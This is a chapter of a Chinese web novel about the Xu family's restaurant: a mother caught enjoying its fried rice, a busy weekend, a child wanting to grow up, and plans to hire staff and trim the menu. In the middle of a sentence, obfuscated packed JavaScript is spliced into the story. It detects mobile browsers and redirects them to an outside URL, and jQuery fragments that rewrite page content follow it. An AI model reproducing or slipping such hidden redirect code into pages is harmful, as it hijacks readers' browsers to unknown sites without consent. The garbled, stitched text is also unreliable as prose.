林妈的脸颊红得像是刚煮熟的虾，举着勺子的手悬在半空，进退两难。这一刻，她恨不得能立刻从原地消失。


    她窘得无地自容，简直想一头撞死在面前那盘还没吃完的蛋炒饭里。最终，她讷讷地放下勺子，强作镇定地试图挽回最后一点面子：“我、我就是路过……顺便进来看一眼……看看这家店是不是真像你们说的那么干净、那么好吃……”


    “哦，看看是不是真像我们说的那么干净、那么好吃。”林燕婷拖长了语调，挨着她坐下，单手托腮望着她，“那结果怎么样呀？我们说的话，到底属不属实？”


    林妈看着女儿戏谑的眼神，又瞥见丈夫拼命压住嘴角笑意的模样，心里清楚，这个台阶是下不来了。她索性破罐子破摔，心一横，重新拿起勺子，狠狠舀了一大口炒饭塞进嘴里，含糊不清地说：“……还行吧……干净是挺干净，味道嘛……也就一般。”


    这话说得口是心非，配上她那副仿佛饿了八百年的吃相，彻底逗笑了林爸和林燕婷。父女俩再也忍不住，放声大笑起来。


    林妈被他们笑得脸颊发烫，可嘴里那极致的美味又让她实在舍不得停下。她只好一边努力维持着最后一点“威严”，一边速度不减地继续往嘴里送饭。


    林爸笑够了，体贴地递过一杯紫苏茶：“慢点吃，别噎着。喜欢就喜欢嘛，有什么不好意思的？这么好吃的东西，谁忍得住？”


    林妈依旧嘴硬：“也就……还行吧……”


    等到蛋炒饭上桌，一家三口围坐在一起，气氛是从未有过的融洽。林妈最初的那点尴尬，终于在食物的美味和家人的调侃中渐渐消散。她吃着炒饭，喝着冰凉的紫苏茶，心里的别扭早被满满的惬意取代。


    林燕婷和林爸见她吃眼角弯弯，相视一笑。饭后离开时，林燕婷故意用调侃的语气问：“妈，明天周末，中午还来许记吃不？”


    林妈不假思索：“成啊，那我们————”话到一半，她才猛地反应过来，急忙改口，“虽说这店是挺干净，但也不能总在外面吃。外头的东西，到底不如家里……”


    林燕婷哈哈一笑，一巴掌拍在她肩上：“得了吧妈，我还不知道你？你就是拉不下面子！明明吃得那么香，偏说一般！明天我们再来吃呗，我跟爸保证不笑你！”


    被当场拆穿的林妈，脸又一次瞬间爆红。她噎住了似的，半天说不出一个字。


    最后，她咬咬牙。都怪许记的东西太好吃，不然她怎么会破戒被抓个正着！怎么会让这父女俩看了笑话！


    都怪许记，没事干嘛把饭做的这么好吃？！


    已近打烊时间，却仍有客人陆续进门。或许因为周五晚上大家都放了假，来吃饭的人格外多。


    “今天又要晚点打烊了。”许妈对许知味说。


    许知味：“没事。”


    第二天周六，店里的人更多了。中午时分，座无虚席。


    王大爷捏着下巴，对许妈感慨：“你们这生意，真是眼看着一天比一天红火啊。”


    许妈笑着递上紫苏茶，听见他问：“那个槐叶冷淘面，啥时候开卖？”


    “还没准备好，等要卖了，第一个告诉您。”


    “成。”


    王大爷呷了口茶，望着满座的店面，不由得啧啧称奇。这许记饭馆，真是一天一个样，人气越来越旺。


    “老板，我这苕粉皮子能再加点辣不？”有熟客扬声问。


    “好嘞，马上来！”许妈利落地应着，脚下生风，在桌椅之间灵活穿梭。点单、上菜、收拾、结账，她忙而不乱，有条不紊。


    后厨里，许知味和许爸更是片刻不得闲。灶火旺盛，锅铲翻飞，一份份蛋炒饭、一盘盘苕粉皮子、一碟碟凉拌小菜在他们手中迅速完成，再由许妈端出去，换来客人一声声满足的赞叹。


    “老板，还有位置吗？”一对年轻情侣探头问。


    “不好意思，现在满座了，您要不要拿个号稍等一会儿？”许妈略带歉意地递过一张号码牌。


    那对情侣看着坐满了的小店，将号码牌接了过去。


    旁边一位大哥“呼噜”一声吸完最后一口苕粉皮子，意犹未尽地抹嘴喊道：“老板，结账！你们家这手艺，真是绝了！明天我还来！”


    许妈笑着过去算账：“您吃得满意就好！”


    “满意！太满意了！”大哥嗓门响亮，“比那些大饭店实在多了，价格便宜，味道还这么好！”


    他这一嗓子，让等位的客人更加心痒难耐。


    这时，林爸林妈和林燕婷也出现在门口。林爸张望了一下：“坐满了啊。”


    林燕婷眼尖，瞧见王大爷旁边一桌似乎快吃完了，赶紧拉着父母挤过去：“那边快好了，再等等！”


    果然，没过两分钟那桌客人起身离开。许妈迅速收拾干净，林家人顺利落座。


    点完菜等餐，他们听见旁边等位的食客闲聊：“听说这家蛋炒饭是一绝！”


    “何止蛋炒饭，我朋友说连凉拌萝卜丝都好吃得能吞舌头！”


    “我是被香味勾过来的，也太香了吧……”


    这些议论飘进耳中，林燕婷莫名生出一种“吾道不孤”和“我们早就知道”的微妙自豪感。


    很快，他们的菜上齐了。金黄的蛋炒饭，晶莹的苕粉皮子，脆嫩的凉拌萝卜丝，还有三杯清透的紫苏茶。


    林妈拿起勺子就开动。蛋炒饭入口的瞬间，那极致的香醇与幸福感再次涌上心头。


    饭吃到一半，又进来几位熟客，熟门熟路地和许妈打招呼：“老板娘，今天生意更好了啊！老样子，三份蛋炒饭，打包！”


    “好，可能要稍等一会儿，前面还有几单。”


    “没事儿，等得起！”


    小小的饭馆里，空气中弥漫着各种食物混合的浓郁香气，勾得人馋涎欲滴。人声、碗碟声交织成一片，充满了热闹的烟火气。


    许知味炒好一份饭，见许妈没空来端，便亲自送到前厅。


    她望了一眼座无虚席的大堂，累是真的累，可听着满堂的赞誉，看着母亲忙碌却带笑的脸，心底涌起的是满满的成就与踏实。


    许记的热闹，从午市一直持续到下午三点过后，饭点高峰过去，才渐渐缓和下来。


    许妈终于松了口气。毛毛踮起脚：“妈妈，毛毛给你擦汗。”


    许妈笑着弯腰，任由女儿用小手替她擦拭额角。毛毛撅着小嘴，瓮声瓮气地说：“妈妈，毛毛想长大。”


    “为什么呀？”


    毛毛举起小拳头，奶声奶气地说：“长大了，端菜菜！帮妈妈！”


    “想帮妈妈？”许妈亲了亲毛毛肉嘟嘟的脸颊。


    小女儿贴心的话像暖流漫过心间，身上的疲惫仿佛都随之消散。她搂着毛毛，柔声说：“毛毛真乖，妈妈等你长大帮忙。”


    毛毛用力点头，像只小泥鳅似的滑下凳子，“哒哒哒”跑进后厨。


    后厨里，许知味刚炒完最后一单，正轻轻揉着发酸的手腕。


    毛毛跑过来一把抱住她的腿，仰起小脸，大眼睛扑闪扑闪：“姐姐，姐姐！”


    许知味低头看着腿上的“小挂件”，眉眼柔和下来：“怎么啦，毛毛？”


    毛毛一脸认真，奶声奶气地问：“姐姐，有没有什么药药，吃了就能马上长大？”


    许知味被逗笑了，弯腰把她抱起来：“你想长大？为什么这么急呀？”


    毛毛搂住姐姐的脖子，凑到她耳边，用自以为很小声、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578556|187214||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其实大家都听得见的音量说：“嗯！想长大！长大了帮妈妈！帮姐姐！帮爸爸！”


    许知味心里一软，蹭蹭她的小鼻子：“我们毛毛真棒，这么小就知道孝顺。”


    毛毛眨巴着大眼睛，困惑地问：“什么是孝顺呀？”


    “孝顺啊，”许知味想了想，用最简单的话解释，“就是毛毛想对爸爸妈妈、对姐姐好，想帮我们，这就是孝顺。”


    毛毛立刻挺起小胸脯，大声宣布：“毛毛会一直孝顺！”


    正在旁边收拾灶台的许爸听了，乐呵呵地接话：“哎哟，我们毛毛这么乖啊？那我可得把你这话录下来，免得你长大以后耍赖不认账！”


    “毛毛，不会！”毛毛用力拍胸脯。


    童言稚语让疲惫的许知味和许爸都笑出了声，后厨里满是快活的气息。


    没过几小时，晚市又如潮水般涌来。后厨再次响起急促的订单铃，前厅很快坐满，人声鼎沸。许妈在桌椅间穿梭，几乎脚不点地，额角的汗都来不及擦。


    这一忙，就忙到了深夜十一点。送走最后一批依依不舍的客人，一家人才真正得以喘息。


    打烊后，简单收拾完毕，一家人围坐着吃夜宵。许妈满脸倦色，眼中却闪着兴奋的光。她拿着计算器又按了一遍，声音带着压抑不住的喜悦：“你们猜，今天净赚多少？”


    许爸凑过来一看，眼睛顿时睁大了：“三千多？！真的假的？”


    “真的！”许妈激动得脸颊发红，“开店五年，从没有哪一天净利润这么高！以前生意最好的时候，一天利润也就两千出头，那个月总共也就赚了四万。其他月份，能有两万利润就谢天谢地了！”


    许爸也喜得直搓手，日利润，这可真是……破纪录了啊。


    相比父母的激动，许知味显得平静许多。她慢条斯理地吃完最后一口苕粉，才开口：“今天是周六，休息的人多。明天周日，人估计也不会少。妈，你今天也看到了，你一个人又要点单、端菜、收银、收拾，根本忙不过来。咱们必须招个服务员了。”


    许妈毫不犹豫地道：“招！明天我就写招工启事贴出去！今天确实吃力，有好几次差点送错菜。是得请个人了。”


    许爸也点头同意。


    确定要请人之后，许知味又转到另一个话题：“还有一件事。”


    许爸许妈齐声问：“什么事？”


    许知味说，目前来店里的客人，九成点的都是蛋炒饭、苕粉皮子、凉拌萝卜丝和紫苏茶。其他菜也有人点，但不多。


    所以她考虑之后，决定暂时不推其他菜品。多做一样，备菜工作量就大一分，不如先专注做好这几样，既能保证质量，也能让全家轻松些。


    许爸有些犹豫：“就卖这几样？会不会太少了？”


    “蛋炒饭、苕粉皮子、凉拌萝卜丝、紫苏茶，我再加个槐叶冷淘面，暂时这几样，够了。”


    许爸许妈想了想，同意了她的决定。


    “还有，”许知味接着说，“营业时间也得调整。以后每天十一点开门，晚上九点打烊，大家能多睡一小时。”


    像今天这样十一点打烊，收拾完睡下都快十二点了，明早不到六点又要起床买菜备菜，睡眠严重不足，长期下去身体吃不消。


    餐饮行业本就是起早贪黑赚辛苦钱，许家人都已习惯。只是以前生意平淡，还不觉得累。如今生意红火，再像从前那样拼，身体迟早垮掉。


    许妈当即拍板：“行，就晚一小时开门。再怎么说，身体也比赚钱重要。”


    灯光下，一家人脸上虽带着浓浓的疲倦，却更洋溢着对未来的期盼与干劲。


    小小的饭馆，仿佛正乘着一股蓬勃的香气，驶向更加红火明亮的明天。